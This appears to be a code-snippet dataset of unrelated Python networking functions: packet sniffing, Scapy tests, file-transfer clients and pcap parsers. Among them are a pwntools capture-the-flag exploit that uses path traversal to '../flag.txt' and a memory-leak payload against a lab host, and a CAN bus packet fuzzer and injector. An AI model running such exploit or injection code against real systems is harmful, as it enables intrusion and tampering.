getopt.GetoptError, err:\n print ERROR_MESSAGE_PREFIX + str(err)\n print_help()\n sys.exit(1)\n\n for opt, value in opts:\n if opt in ('-f', '--file'):\n filename = value\n elif opt in ('-h', '--help'):\n print_help()\n sys.exit(0)\n elif opt in ('-u', '--unit_test'):\n unit_test()\n sys.exit(0)\n\n if not os.path.exists(filename):\n print ERROR_MESSAGE_PREFIX + \"File %s does not exist\" % filename\n sys.exit(1)\n\n scapy_tools = ScapyTools()\n scapy_tools.send_packets_on_user_input(filename)","def test_mixed(self):\n self.counter = 1\n\n self.send_mixed_and_verify_capture([{\"count\": 1, \"flags\": \"\"}])\n self.send_mixed_and_verify_capture([{\"count\": 2, \"flags\": \"\"}])\n self.send_mixed_and_verify_capture([{\"count\": 3, \"flags\": \"\"}])\n self.send_mixed_and_verify_capture([{\"count\": 8, \"flags\": \"\"}])\n self.send_mixed_and_verify_capture([{\"count\": 257, \"flags\": \"\"}])\n\n self.send_mixed_and_verify_capture([{\"count\": 1, \"flags\": \"MF\"}])\n self.send_mixed_and_verify_capture([{\"count\": 2, \"flags\": \"MF\"}])\n self.send_mixed_and_verify_capture([{\"count\": 3, \"flags\": \"MF\"}])\n self.send_mixed_and_verify_capture([{\"count\": 8, \"flags\": \"MF\"}])\n self.send_mixed_and_verify_capture([{\"count\": 257, \"flags\": \"MF\"}])\n\n self.send_mixed_and_verify_capture(\n [{\"count\": 1, \"flags\": \"\"}, {\"count\": 1, \"flags\": \"MF\"}]\n )\n self.send_mixed_and_verify_capture(\n [{\"count\": 2, \"flags\": \"\"}, {\"count\": 2, \"flags\": \"MF\"}]\n )\n self.send_mixed_and_verify_capture(\n [{\"count\": 3, \"flags\": \"\"}, {\"count\": 3, \"flags\": \"MF\"}]\n )\n self.send_mixed_and_verify_capture(\n [{\"count\": 8, \"flags\": \"\"}, {\"count\": 8, \"flags\": \"MF\"}]\n )\n self.send_mixed_and_verify_capture(\n [{\"count\": 129, \"flags\": \"\"}, {\"count\": 129, \"flags\": \"MF\"}]\n )\n\n self.send_mixed_and_verify_capture(\n [\n {\"count\": 1, \"flags\": \"\"},\n {\"count\": 1, \"flags\": \"MF\"},\n {\"count\": 1, \"flags\": \"\"},\n {\"count\": 1, \"flags\": \"MF\"},\n ]\n )\n self.send_mixed_and_verify_capture(\n [\n {\"count\": 2, \"flags\": \"\"},\n {\"count\": 2, \"flags\": \"MF\"},\n {\"count\": 2, \"flags\": \"\"},\n {\"count\": 2, \"flags\": \"MF\"},\n ]\n )\n self.send_mixed_and_verify_capture(\n [\n {\"count\": 3, \"flags\": \"\"},\n {\"count\": 3, \"flags\": \"MF\"},\n {\"count\": 3, \"flags\": \"\"},\n {\"count\": 3, \"flags\": \"MF\"},\n ]\n )\n self.send_mixed_and_verify_capture(\n [\n {\"count\": 8, \"flags\": \"\"},\n {\"count\": 8, \"flags\": \"MF\"},\n {\"count\": 8, \"flags\": \"\"},\n {\"count\": 8, \"flags\": \"MF\"},\n ]\n )\n self.send_mixed_and_verify_capture(\n [\n {\"count\": 65, \"flags\": \"\"},\n {\"count\": 65, \"flags\": \"MF\"},\n {\"count\": 65, \"flags\": \"\"},\n {\"count\": 65, \"flags\": \"MF\"},\n ]\n )","def main():\n\tHOST = \"192.168.56.103\"\n\tPORT = 53338\n\tr = remote(HOST,PORT)\n\tfor i in xrange(1,12):\n\t\t#First option lets us get a file\n\t\tprint r.recvuntil(\"option: \")\n\t\tr.sendline(\"1\")\n\t\tprint r.recvuntil(\"Filename:\")\n\n\t\t#Get frequency analysis from flag.txt\n\t\tfileName = \"../flag.txt\" #length ~ 11\n\t\tprint len(fileName)\n\t\tdirName = \"./data/\" #length ~ 7\n\t\tprint len(dirName)\n\n\t\t#Null bytes can be removed by using up all the memory for name\n\t\tf = \"/\"*(255-7-11)+fileName\n\t\tprint len(f)\n\t\tr.sendline(f)\t\n\t\tprint r.recvuntil(\"option: \")\n\n\t\t#Now exploit the fact they haven't cleaned up the memory\n\t\tpayload = \"\\x01\"*(4095-i)\n\t\tpayload += \"\\n\"*i\n\t\tr.sendline(\"2\")\n\n\t\t#Grab analysis of 1 byte difference between corrupted memory and flag.txt\n\t\tprint r.recvuntil(\"data:\")\n\t\tr.sendline(payload)\n\t\tbuf = r.recvuntil(\"option:\")\n\t\tprint buf\n\t\t\n\t\t#Write freq analysis difference to temporary file\n\t\tfilename = \"temp\"+str(i)\n\t\tfp = open(filename,\"wb\")\n\t\tfp.write(buf)\n\n\t\t#Now diff temp<i> temp><i+1>\n\t\t#Except for temp0\n\tpass","def accumulate_packets():\n l = []\n packets = sniff(count=NUMBER_OF_SNIFFING_ROUNDS, lfilter=fltr, prn=printing)\n print(\"Processing packets!\")\n for packet in packets:\n l.append({\"ip\": get_ip(packet),\n \"country\": get_country(packet),\n \"entering\": is_entering(packet),\n \"port\": get_partner_port(packet),\n \"size\": packet[IP].len, #the len of the ip layer is the len of the entire packet\n \"program\": get_program(packet)})\n return l","def udp_pkt_cap(port=None, cnt=125):\n if not port:\n udp_port = 2368\n else:\n udp_port = port\n\n # type: udp socket\n udpSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\t\n # Enable the SO_REUSEADDR option\n udpSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n new_state = udpSocket.getsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR)\n # print(\"New sock state: %s\" % new_state)\n\n # bind socket\n try:\n udpSocket.bind((\"\", udp_port))\n udpSocket.settimeout(0.06)\n except socket.error as err_msg:\n print(\"Udp socket message:%s\" % err_msg)\n return\n\n udp_buf = 1304\n pkt_cnt = cnt\n messages = []\n while True:\n dat, add = udpSocket.recvfrom(udp_buf)\n if (dat[0:2] == b'\\xaa\\xaa') or (dat[0:2] == b'\\xbb\\xbb') or (dat[0:2] == b'\\xcc\\xcc'):\n # print(add[0], add[1], hex(ord(dat[2])) + '{:02x}'.format(ord(dat[3])) )\n # print(add[0], add[1], '0x{:02X} 0x{:02X}'.format(dat[2], dat[3]))\n print(\"Recv ok source ip and port is \", add)\n messages.append(dat + b'\\n')\n if pkt_cnt > 1:\n for _ in range(pkt_cnt - 1):\n datfrm, add = udpSocket.recvfrom(udp_buf)\n messages.append(datfrm + b'\\n')\n break\n else:\n break\n\n return messages # return string","def test_send(self):\n msg_flag = self.instance.send(self.ply_dict)\n assert(msg_flag)\n self.instance.send_eof()\n # Read temp file\n Tout = self.instance.start_timeout()\n while ((not Tout.is_out) and self.file_comm.is_open):\n self.instance.sleep()\n self.instance.stop_timeout()\n # Read temp file\n assert(os.path.isfile(self.tempfile))\n with open(self.tempfile, 'rb') as fd:\n contents = fd.read()\n nt.assert_equal(contents, self.ply_file_contents)","def send_img(self, filename):\n recv_data = b'' # bytes for data received\n recv_pkt = Packet() # init empty packet for received data\n read_data = b'' # byte string data read from file\n seq_num = 0 # init sequence number\n\n # open file to be sent\n print(\"Client: Sending image to Server\")\n with open(filename, 'rb') as img:\n read_data = img.read(self.data_size)\n # pack\n send_pkt = Packet(seq_num=seq_num, data=read_data)\n packed = send_pkt.pkt_pack()\n\n # send data until end of file reached\n while read_data:\n self.client_socket.sendto(packed, self.server_addr)\n #print(\"Client: Sent:\", send_pkt)\n\n # wait for ACK\n recv_data = self.client_socket.recv(self.pkt_size)\n recv_pkt.pkt_unpack(recv_data)\n\n #print(\"Client: Received message:\", recv_pkt)\n\n # Received NAK or incorrect ACK\n if recv_pkt.seq_num != seq_num or recv_pkt.csum != recv_pkt.checksum(recv_pkt.seq_num, recv_pkt.data):\n pass\n # ACK is OK, move to next data and sequence\n else:\n #print(\"Client: got ok packet\")\n seq_num ^= 1\n read_data = img.read(self.data_size)\n # pack\n send_pkt = Packet(seq_num=seq_num, data=read_data)\n packed = send_pkt.pkt_pack()","def insert_good_data():\n get_file_reply(files[0][0], files[0][1])\n get_file_reply(files[1][0], files[1][1])","def sample_handler(controller, msg, pkt):\n pass","def realtime_tdm_stream_to_pcap_output(p=None, mdid_list=None, pcap=None):\n\n if os.path.exists(p) is False:\n os.mkfifo(p) # Create Named Pipe if it doesn't exist\n\n # Loop over reading the pipe, parsing out the TDMs and writing to a PCAP file when a TDM is completely read\n tdm_cnt = 0\n print(\"Named Pipe '{0}' has been opened for reading. Waiting for Pipe Writer to connect.\".format(p))\n pipeout = open(p, 'rb')\n print(\"Connected to Named Pipe '{0}'. Reading binary TDMs from pipe.\".format(p))\n\n try:\n while True:\n raw_ver_adf_flags = pipeout.read(4)\n raw_mdid = pipeout.read(4)\n mdid = int.from_bytes(raw_mdid, byteorder='big')\n raw_seqno = pipeout.read(4)\n raw_msglen = pipeout.read(4)\n msglen = int.from_bytes(raw_msglen, byteorder='big')\n len_remaining = msglen - 16\n raw_rest_of_tdm = pipeout.read(len_remaining)\n\n raw = b\"\".join([raw_ver_adf_flags, raw_mdid, raw_seqno, raw_msglen, raw_rest_of_tdm])\n\n if mdid in mdid_list:\n ip_addr = mdid_list[mdid].dst_addr\n dport = mdid_list[mdid].dst_port\n else:\n ip_addr = '239.88.88.88' # Default IP address to use IF MDID is not found in the MDL file\n dport = 50003 # Default UDP destination port to use IF MDID is not found in the MDL file\n\n msg_ip_hdr = IP(version=4, ihl=5, flags='DF', ttl=4, dst=ip_addr)\n msg = msg_ip_hdr / UDP(sport=55501, dport=dport) / Raw(raw)\n\n wrpcap(pcap, msg, append=True)\n\n tdm_cnt += 1\n print(\"\\rTDM Count: {0}. CTRL-C to quit\".format(tdm_cnt), end=\" \")\n\n except IOError as e:\n if e.errno == errno.EPIPE:\n print(\"Looks like the pipe closed. Closing the pipe and will reopen it for listening.\")\n pipeout.close()\n else:\n print(\"some other IOError other than EPIPE. quitting\")\n exit(-1)\n except ValueError:\n print(\"\\nPipe Writer has closed. Closing our Pipe Reader.\")\n pipeout.close()","def send_file(self, filename, BUFF_LENGTH):\n out_file = open(filename,\"rb\")\n file_bytes = out_file.read(1024) \n while file_bytes != b'':\n self.client.send(file_bytes)\n file_bytes = out_file.read(1024) # read next block from file\n self.client.send(b'')","def test_fif4(self):\n\n # TODO this should be ideally in setUpClass, but then we hit a bug\n # with VppIpRoute incorrectly reporting it's present when it's not\n # so we need to manually remove the vpp config, thus we cannot have\n # it shared for multiple test cases\n self.tun_ip4 = \"1.1.1.2\"\n\n self.gre4 = VppGreInterface(self, self.src_if.local_ip4, self.tun_ip4)\n self.gre4.add_vpp_config()\n self.gre4.admin_up()\n self.gre4.config_ip4()\n\n self.vapi.ip_reassembly_enable_disable(\n sw_if_index=self.gre4.sw_if_index, enable_ip4=True\n )\n\n self.route4 = VppIpRoute(\n self,\n self.tun_ip4,\n 32,\n [VppRoutePath(self.src_if.remote_ip4, self.src_if.sw_if_index)],\n )\n self.route4.add_vpp_config()\n\n self.reset_packet_infos()\n for i in range(test_packet_count):\n info = self.create_packet_info(self.src_if, self.dst_if)\n payload = self.info_to_payload(info)\n # Ethernet header here is only for size calculation, thus it\n # doesn't matter how it's initialized. This is to ensure that\n # reassembled packet is not > 9000 bytes, so that it's not dropped\n p = (\n Ether()\n / IP(id=i, src=self.src_if.remote_ip4, dst=self.dst_if.remote_ip4)\n / UDP(sport=1234, dport=5678)\n / Raw(payload)\n )\n size = self.packet_sizes[(i // 2) % len(self.packet_sizes)]\n self.extend_packet(p, size, self.padding)\n info.data = p[IP] # use only IP part, without ethernet header\n\n fragments = [\n x\n for _, p in self._packet_infos.items()\n for x in fragment_rfc791(p.data, 400)\n ]\n\n encapped_fragments = [\n Ether(dst=self.src_if.local_mac, src=self.src_if.remote_mac)\n / IP(src=self.tun_ip4, dst=self.src_if.local_ip4)\n / GRE()\n / p\n for p in fragments\n ]\n\n fragmented_encapped_fragments = [\n x for p in encapped_fragments for x in fragment_rfc791(p, 200)\n ]\n\n self.src_if.add_stream(fragmented_encapped_fragments)\n\n self.pg_enable_capture(self.pg_interfaces)\n self.pg_start()\n\n self.src_if.assert_nothing_captured()\n packets = self.dst_if.get_capture(len(self._packet_infos))\n self.verify_capture(packets, IP)\n\n # TODO remove gre vpp config by hand until VppIpRoute gets fixed\n # so that it's query_vpp_config() works as it should\n self.gre4.remove_vpp_config()\n self.logger.debug(self.vapi.ppcli(\"show interface\"))","def test_generate_and_send(mock_sr):\n # mock send packets\n mock_sr.return_value = fake_sr_return()\n\n # init generator\n netprobify = NetProbify()\n netprobify.instantiate_generator()\n\n # generate packets\n TARGET.generate_packets(GROUP, netprobify.id_gen)\n assert len(TARGET.packets) == 10\n assert TARGET.packets[0].dst == \"127.0.0.1\"\n assert TARGET.packets[0].sport == 65000\n\n # check number of packets\n assert len(TARGET.packets) == 10\n\n # check if the sport are rotated in the range\n n = 0\n for pkt in TARGET.packets:\n port = n % 2 + 65000\n n += 1\n assert pkt[UDP].sport == port\n assert pkt.id == n\n\n # subnet test\n UDPunreachable(\n \"localhost\",\n active=True,\n description=\"localhost\",\n destination=\"127.0.0.0/30\",\n config_destination=\"127.0.0.0/30\",\n address_family=\"ipv4\",\n dont_fragment=True,\n is_subnet=True,\n nb_packets=1,\n interval=0,\n timeout=1,\n dst_port=0,\n ip_payload_size=0,\n threshold=1,\n state=\"in production\",\n alert_level=\"paging\",\n is_dynamic=False,\n dns_update_interval=0,\n groups={\"test\"},\n lifetime={\"days\": \"1\"},\n creation_date=None,\n )\n\n TARGET.generate_packets(GROUP, netprobify.id_gen)\n ip_addresses = [\"127.0.0.0\", \"127.0.0.1\", \"127.0.0.2\", \"127.0.0.3\"]\n for pkt in TARGET.packets:\n n += 1\n assert pkt.dst in ip_addresses\n assert pkt.id == n\n\n # fake packets sending\n result = []\n TARGET.send_packets(result, \"WARNING\", GROUP)\n\n assert result == [\n {\n 65000: {\"sent\": 1, \"loss\": 1, \"timestamp_ooo\": 0, \"latency\": []},\n 65001: {\"sent\": 1, \"loss\": 0, \"timestamp_ooo\": 0, \"latency\": [0.1]},\n \"name\": \"localhost\",\n \"probing_type\": \"UDPunreachable\",\n \"groups\": {\"test\"},\n \"destination\": \"127.0.0.1\",\n \"address_family\": \"ipv4\",\n \"state\": \"in production\",\n \"alert_level\": \"paging\",\n \"ip_payload_size\": 8,\n \"port_mismatch\": 0,\n }\n ]","def create_standard_packets_list(\n additional_packet: Union[None, str] = None) -> List[bytes]:\n packets_list = [\n unhexlify(DUMMY_LOGIN_RESPONSE.encode(ENCODING_CODEC)),\n unhexlify(DUMMY_GET_STATE_RESPONSE.encode(ENCODING_CODEC))]\n if additional_packet:\n packets_list.append(\n unhexlify(additional_packet.encode(ENCODING_CODEC)))\n return packets_list","def generationFuzzer(self,freq, standardIDs, dbLimits, period, writesPerFuzz, Fuzzes):\n #print \"Fuzzing on standard ID: %d\" %standardId\n self.client.serInit()\n self.spitSetup(freq)\n packet = [0,0,0x00,0x00,0x08,0,0,0,0,0,0,0,0] #empty packet template\n \n\n #get folder information (based on today's date)\n now = datetime.datetime.now()\n datestr = now.strftime(\"%Y%m%d\")\n path = self.DATA_LOCATION+\"InjectedData/\"+datestr+\"_GenerationFuzzedPackets.csv\"\n filename = path\n outfile = open(filename,'a');\n dataWriter = csv.writer(outfile,delimiter=',');\n #dataWriter.writerow(['# Time Error Bytes 1-13']);\n #dataWriter.writerow(['#' + description])\n \n numIds = len(standardIDs)\n fuzzNumber = 0; #: counts the number of packets we have generated\n while( fuzzNumber < Fuzzes):\n id_new = standardIDs[random.randint(0,numIds-1)]\n print id_new\n #### split SID into different regs\n SIDhigh = (id_new >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0\n SIDlow = (id_new & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5\n packet[0] = SIDhigh\n packet[1] = SIDlow\n \n #generate a fuzzed packet\n for i in range(0,8): # for each data byte, fuzz it\n idx = \"db%d\"%i\n limits = dbLimits[idx]\n value = random.randint(limits[0],limits[1]) #generate pseudo-random integer value\n packet[i+5] = value\n print packet\n #put a rough time stamp on the data and get all the data bytes \n row = [tT.time(), id_new,8] # could make this 8 a variable \n msg = \"Injecting: \"\n for i in range(5,13):\n row.append(packet[i])\n msg += \" %d\"%packet[i]\n #print msg\n dataWriter.writerow(row)\n self.client.txpacket(packet)\n tT.sleep(period/1000)\n \n #inject the packet the given number of times. \n for i in range(1,writesPerFuzz):\n self.client.MCPrts(TXB0=True)\n tT.sleep(period/1000)\n fuzzNumber += 1\n print \"Fuzzing Complete\" \n SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0\n SIDlow = (1056 & 0x07) << 5; # get SID bits 2:0, rotate them to bits 7:5\n packet = [SIDhigh, SIDlow, 0, 0, 8, 65, 255, 32, 120, 0, 0, 1, 247]\n self.client.txpacket(packet)\n for i in range(0,100):\n self.client.MCPrts(TXB0=True)\n tT.sleep(.01)\n outfile.close()","def test_send_second_file():\n\n # Generate the blocks for the test file which is not present on the server\n test_file = os.path.join(os.path.dirname(__file__),\n \"../test_files/debashis-rc-biswas-3U4gGsGNsMY-unsplash.jpg\")\n # Ask the server for the hash of the last block\n response = client.get(\"/latest_block_hash\")\n last_block_hash = response.json()[\"last_block_hash\"]\n blocks = generate_blocks(test_file, last_block_hash)\n # Collect all blocks into a single binary file using pickle\n blocks_pickled = pickle.dumps(blocks)\n # Send the collected blocks in a single transfer to the test server\n response = client.post(\"/send\",\n files={\"file\": blocks_pickled})\n assert response.ok\n assert response.json() \\\n == {\"success\": True,\n \"new_file\": True,\n \"hash\": \"415d4f66e1b8b9083014dcdca5ddd7d1dcca3f5a4a120603169b951b1c5fa0c9\",\n \"index_all\": 1704}","def packetReceived(self, packet):\n for layer in packet:\n if (layer.layer_name == 'fmtp' and\n int(layer.type) == 1):\n # Data is stored as a hexadecimal string in the XML file\n # generated by tshark\n data = binascii.unhexlify(layer.data)\n log.msg(\"FMTP message received: {}\".format(data))","def _parse(self):\n \n # HUA determine the host ip address\n # read 20 packages and set the most frequent one\n ips_dict = {}\n count = 0\n for raw_packet in self.raw_packets:\n if count > 100: break\n ethernet = Ethernet(raw_packet[0:14])\n if(ethernet.type != 'IP'):\n continue\n ip = Ip(raw_packet[14:])\n if(ip.protocol != 'TCP') :\n continue\n if(ip.src not in ips_dict):\n ips_dict[ip.src] = 0\n ips_dict[ip.src] += 1\n if(ip.dst not in ips_dict):\n ips_dict[ip.dst] = 0\n ips_dict[ip.dst] += 1\n # get the most frequent one\n max_appear = 0\n ip = None\n for key, value in ips_dict.items():\n if value > max_appear:\n ip = key\n max_appear = value\n\n global _device_ip\n if not self.enableFilter or not _device_ip:\n _device_ip = ip\n\n global _tcp_buf\n _tcp_buf = {}\n number = 0\n self.begin_ts = self.packet_headers[-1]['ts']\n rcount = 0\n for raw_packet in self.raw_packets:\n pcap_packet = Pcap_packet()\n pcap_packet.pcap_num = rcount#number # add one to be consistent with wireshark\n pcap_packet.top_layer = 1\n pcap_packet.ethernet = Ethernet(raw_packet[0:14])\n \n #skip the packet that is not ip packet\n \n rcount += 1\n\n if (pcap_packet.ethernet.type != 'IP'):\n continue\n\n pcap_packet.top_layer = 2\n pcap_packet.ip = Ip(raw_packet[14:])\n\n\n\n\n # just collect the packets between \n \n if self.enableFilter and not (pcap_packet.ip.src == _device_ip and pcap_packet.ip.dst == SERVER_IP) \\\n and not (pcap_packet.ip.dst == _device_ip and pcap_packet.ip.src == SERVER_IP):\n #print \"Ignore ip not ok\"\n continue\n '''\n if rcount < 10 or rcount > 2600:\n print 'rcount %d, time %d ---: %f' % (rcount, number, self.packet_headers[rcount - 1]['ts'] - self._ts_base)\n '''\n \n self.pcap_packets.append(pcap_packet)\n \n\n #skip the packet that is not tcp message\n if (pcap_packet.ip.protocol != 'TCP'):\n continue\n \n\n\n pcap_packet.top_layer = 3\n pcap_packet.tcp = Tcp(pcap_packet.ip, number)\n\n if pcap_packet.ip.src == _device_ip:\n pcap_packet.tcp.direction = \"out\"\n else:\n pcap_packet.tcp.direction = \"in\"\n\n\n #dispatch the tcp into tcp streams\n self._add_pkt_into_tcp_stream(pcap_packet, number)\n \n #reassemble tcp packet\n self._tcp_reassemble(pcap_packet.pcap_num, pcap_packet.ip.src, pcap_packet.ip.dst, pcap_packet.tcp)\n number += 1\n #endof for\n #flush the tcp_buf, other wise it will lose some http response\n for sockets in _tcp_buf.keys():\n self._tcp_flush(sockets)\n del _tcp_buf[sockets]","def sniffer():\n try:\n sniff(iface=INTERFACE, prn=print_frame, filter='udp and (port bootps or bootps)', store=0)\n except Exception as _e:\n print(\"ERROR - sniffer(): {} {}\".format(_e.args, _e.message))","def test_5737(self):\n self.vapi.cli(\"clear errors\")\n raw = b\"\"\"E\\x00\\x00\\x88,\\xf8\\x1f\\xfe@\\x01\\x98\\x00\\xc0\\xa8\\n-\\xc0\\xa8\\n\\\n\\x01\\x08\\x00\\xf0J\\xed\\xcb\\xf1\\xf5Test-group: IPv4.IPv4.ipv4-message.\\\nEthernet-Payload.IPv4-Packet.IPv4-Header.Fragment-Offset; Test-case: 5737\"\"\"\n malformed_packet = Ether(\n dst=self.src_if.local_mac, src=self.src_if.remote_mac\n ) / IP(raw)\n p = (\n Ether(dst=self.src_if.local_mac, src=self.src_if.remote_mac)\n / IP(id=1000, src=self.src_if.remote_ip4, dst=self.dst_if.remote_ip4)\n / UDP(sport=1234, dport=5678)\n / Raw(b\"X\" * 1000)\n )\n valid_fragments = fragment_rfc791(p, 400)\n\n counter = \"/err/ip4-full-reassembly-feature/reass_malformed_packet\"\n error_counter = self.statistics.get_err_counter(counter)\n self.pg_enable_capture()\n self.src_if.add_stream([malformed_packet] + valid_fragments)\n self.pg_start()\n\n self.dst_if.get_capture(1)\n self.logger.debug(self.vapi.ppcli(\"show error\"))\n self.assertEqual(self.statistics.get_err_counter(counter), error_counter + 1)","def next_packet(filename, memorymap=True):\n with open(filename, 'rb') as f:\n \n #memory map the file if necessary (prob requires 64 bit systems)\n _file = f\n if memorymap:\n _file = mmap.mmap(f.fileno(), 0, prot=mmap.PROT_READ)\n \n while True:\n packet = _file.read(TS.PACKET_SIZE)\n if packet:\n # first byte SHOULD be the sync byte\n # but if it isn't find one.\n if packet[0] != TS.SYNC_BYTE:\n start_byte = 0\n print packet[0]\n for i in range(start_byte, TS.PACKET_SIZE):\n if packet[i] == TS.SYNC_BYTE:\n start_byte = i\n break\n # didn't find a new start? FAIL\n if start_byte == 0:\n raise Exception(\"failure to find sync byte in ts packet size.\")\n continue\n remainder = _file.read(TS.PACKET_SIZE - start_byte)\n packet = packet[start_byte:] + remainder\n yield packet\n else:\n break","def main():\n\n print(\"*\" * 50)\n print(\"[LOG] Printing command line arguments\\n\", \",\".join(sys.argv))\n check_file_name()\n print(\"*\" * 50)\n\n # This argument is required.\n # For a server, this means the IP that the server socket\n # will use.\n # The IP of the server, some default values\n # are provided. Feel free to modify them.\n ip_address = get_arg(1, \"127.0.0.1\")\n operation = get_arg(2, \"pull\")\n file_name = get_arg(3, \"test.txt\")\n port = 69\n\n udp_socket = setup_sockets(ip_address)\n tftp_proc = TftpProcessor()\n if operation is \"push\":\n packet = tftp_proc.upload_file(file_name)\n elif operation is \"pull\":\n packet = tftp_proc.request_file(file_name)\n udp_socket.sendto(packet, (ip_address, port))\n inc_packet, server = udp_socket.recvfrom(1000)\n reply = tftp_proc.process_udp_packet(packet)\n if reply == 0:\n print(\"Connection Established\")\n else:\n print(\"Error: Couldn't establish connection\")\n while True:\n # Receive an acknowledgement packet or an error packet\n if tftp_proc.has_pending_packets_to_be_sent() != 0:\n if operation is \"push\":\n sen_packet = tftp_proc.get_next_output_packet()\n elif operation is \"pull\":\n sen_packet = tftp_proc.get_next_output_packet()\n rec_packet, server = udp_socket.recvfrom(1000)\n reply = tftp_proc.process_udp_packet(packet)\n if reply == 0:\n print(\"Packet\")\n continue\n\n # Modify this as needed.\n parse_user_input(ip_address, operation, file_name)","def test_reading_parse_nosample(tmpdir, nosample_vcf_file):\n # Perform record-wise copying, saving results in records\n records = []\n with vcfpy.Reader.from_path(nosample_vcf_file) as reader:\n for record in reader:\n records.append(record)\n # Check resulting records, checking the first and last records is enough\n assert len(records) == 5","def pkt_gen(self):\n for i in range(self.num_pkts):\n # create the test packets\n pkt = Ether()/IP()/TCP()/'hello there pretty world!!!'\n rank = random.sample(range(0, 100), 1)[0]\n pkt_id = i\n tuser = Tuser(len(pkt), 0b00000001, 0b00000100, rank, pkt_id)\n print ('@ {:.2f} - Send: {} || {}'.format(self.env.now, pkt.summary(), tuser))\n # write the pkt and metadata into storage\n self.pkt_in_pipe.put((pkt, tuser))\n\n # wait for 10 cycles\n #for j in range(PREAMBLE + len(pkt) + IFG):\n yield self.wait_line_clks(self.PREAMBLE + len(pkt) + self.IFG)","def sendData(packet: FrameStruct, repeats: int) -> NoReturn:\n ftype = b'\\x08\\x00'\n dur = b'\\x00\\x00'\n # random hex stream, could be used as additional space of bits\n src = b'\\x08\\x00\\x27\\x8e\\x75\\x44'\n # broadcast address is used to stop certain drivers retransmitting frames\n dst = b'\\xff\\xff\\xff\\xff\\xff\\xff'\n bssid = src\n # semi unique id, annoyingly not usable due to lack of bits for this appli\n sn = (random.randint(0, 4096))\n sn = sn << 4\n seq = sn.to_bytes(4, 'little')\n\n # generate 80211 header\n header80211 = ftype + dur + dst + src + bssid + seq\n\n # combine header with other data to create valid frame\n data = globaldat.RADIO_TAP + header80211 + b\"\\x72\\x6f\\x62\\x6f\\x74\" + \\\n packet # attach radiotap headers, 80211 headers and yodel payload\n #globaldat.bytesPrint(data)\n #print(repeats)\n for i in range(repeats): # re-transmmit message a couple times\n globaldat.yodelSocket.send(data) # send the data","def traff_from_extgwrtr(extgwrtr_ip, fipsOftargetVMs, proto='all', jumbo=0):\n traff = gbpFabTraff()\n print 'FIPs of Target VMs == %s' % (fipsOftargetVMs)\n # List of FIPs ExtGWRtr will ping, ping_fips should be type List\n if isinstance(fipsOftargetVMs,dict):\n ping_fips = fipsOftargetVMs.values() \n if isinstance(fipsOftargetVMs,list):\n ping_fips = fipsOftargetVMs\n if not isinstance(fipsOftargetVMs,list):\n ping_fips = [fipsOftargetVMs]\n attemptall = 1\n if proto == 'all':\n while attemptall < max_traff_attempts:\n if jumbo == 1:\n results_icmp = traff.test_regular_icmp(\n extgwrtr_ip, ping_fips, pkt_size='9000')\n else:\n results_icmp = traff.test_regular_icmp(extgwrtr_ip, ping_fips)\n results_tcp = traff.test_regular_tcp(extgwrtr_ip, ping_fips)\n if results_icmp != 1 and results_tcp != 1:\n retval = {'ICMP': results_icmp.keys(), 'TCP': results_tcp.keys()}\n elif results_icmp != 1:\n retval = {'ICMP': results_icmp.keys()}\n elif results_tcp != 1:\n retval = {'TCP': results_tcp.keys()}\n else:\n return 1\n if isinstance(retval,dict):\n print \"Wait for 10 secs before the next ICMP & TCP retry\\n\"\n sleep(10)\n attemptall += 1\n return retval\n if proto == 'icmp':\n if jumbo == 1:\n results_icmp = traff.test_regular_icmp(\n extgwrtr_ip, ping_fips, pkt_size='9000')\n else:\n results_icmp = traff.test_regular_icmp(extgwrtr_ip, ping_fips)\n attempt = 1\n while attempt < max_traff_attempts:\n if isinstance(results_icmp, dict):\n print \"Wait for 10 secs before the next ICMP retry\\n\"\n sleep(10)\n results_icmp = traff.test_regular_icmp(extgwrtr_ip, ping_fips)\n attempt += 1\n else:\n break\n if attempt == max_traff_attempts:\n return {'ICMP': results_icmp.keys()}\n if proto == 'tcp':\n results_tcp = traff.test_regular_tcp(extgwrtr_ip, ping_fips)\n retry = 1\n while retry < max_traff_attempts:\n if isinstance(results_tcp, dict):\n print \"Wait for 10 secs before the next TCP retry\\n\"\n sleep(10)\n results_tcp = traff.test_regular_tcp(extgwrtr_ip, ping_fips)\n retry += 1\n else:\n break\n if retry == max_traff_attempts:\n return {'TCP': results_tcp.keys()}","def example1():\n files='*.pcap*'\n columns=['frame.time_relative'] # Time since reference or first frame\n filter_str=''\n output_file='a.txt'\n data=read_pcap.read_pcap_files(files, columns, filter_str, output_file)# Get packet arrive time, the output is a list of string\n arrive_time=[float(item[0]) for item in data] # Format the list of strings to a list of floating numbers\n return arrive_time","def output_generator(pkt):\r\n ethe_header = pkt[0]\r\n ip_header = pkt[1]\r\n protocol = pkt[1][7]\r\n data_header = pkt[2]\r\n ethe_prefix = \"ETHER: \"\r\n ip_prefix = \"IP: \"\r\n tcp_prefix = \"TCP: \"\r\n udp_prefix = \"UDP: \"\r\n icmp_prefix = \"ICMP: \"\r\n # print ether header information\r\n print(\"\\n\" + ethe_prefix + \"----- Ether Header -----\")\r\n print(ethe_prefix)\r\n print(ethe_prefix + \"Packet size = \" + str(ethe_header[0]) + \" bytes\")\r\n print(ethe_prefix + \"Destination = \" + str(ethe_header[1]))\r\n print(ethe_prefix + \"Source = \" + str(ethe_header[2]))\r\n print(ethe_prefix + \"Ethertype = \" + str(ethe_header[3]) + \" (IP)\")\r\n print(ethe_prefix)\r\n\r\n print(ip_prefix + \"----- IP Header -----\")\r\n print(ip_prefix)\r\n print(ip_prefix + \"Version = \" + str(ip_header[0]))\r\n print(ip_prefix + \"Header length = \" + str(4 * int(ip_header[1])) + \" bytes\")\r\n print(ip_prefix + \"Type of service = 0x\" + str(ip_header[2]))\r\n if str(ip_header[2]) == \"00\":\r\n print(ip_prefix + \"\\txxx. .... = 0 (precedence)\")\r\n print(ip_prefix + \"\\t...0 .... = normal delay\")\r\n print(ip_prefix + \"\\t.... 0... = normal throughput\")\r\n print(ip_prefix + \"\\t.... .0.. = normal reliability\")\r\n print(ip_prefix + \"Total length = \" + str(ip_header[3]) + \" bytes\")\r\n print(ip_prefix + \"Identification = \" + str(ip_header[4]))\r\n print(ip_prefix + \"Flags = 0x\" + str(ip_header[5]))\r\n flag = 